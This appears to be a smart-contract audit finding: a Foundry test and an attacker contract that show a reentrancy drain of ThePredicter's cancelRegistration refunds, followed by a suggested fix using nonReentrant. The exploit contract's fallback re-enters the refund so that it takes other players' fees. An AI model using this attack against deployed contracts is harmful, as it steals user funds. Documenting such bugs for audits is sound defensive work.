function test_WithdrawAllBycancelRegistration() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
console.log(
"ThePredicter balance Before Attacking",
address(thePredicter).balance
);
address attacker = address(new AttackContract(address(thePredicter)));
vm.startPrank(attacker);
vm.deal(attacker, 0.04 ether);
thePredicter.register{value: 0.04 ether}();
thePredicter.cancelRegistration();
vm.stopPrank();
console.log(
"ThePredicter balance After Attacking",
address(thePredicter).balance
);
}
contract AttackContract {
ThePredicter thePredicter;
constructor(address thePredicterAddress) {
thePredicter = ThePredicter(thePredicterAddress);
}
fallback() external payable {
if (address(thePredicter).balance >= 0.04 ether) {
thePredicter.cancelRegistration();
}
}
}
import "openzeppelin-contracts/contracts/utils/ReentrancyGuard.sol"
function cancelRegistration() public nonReentrant {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}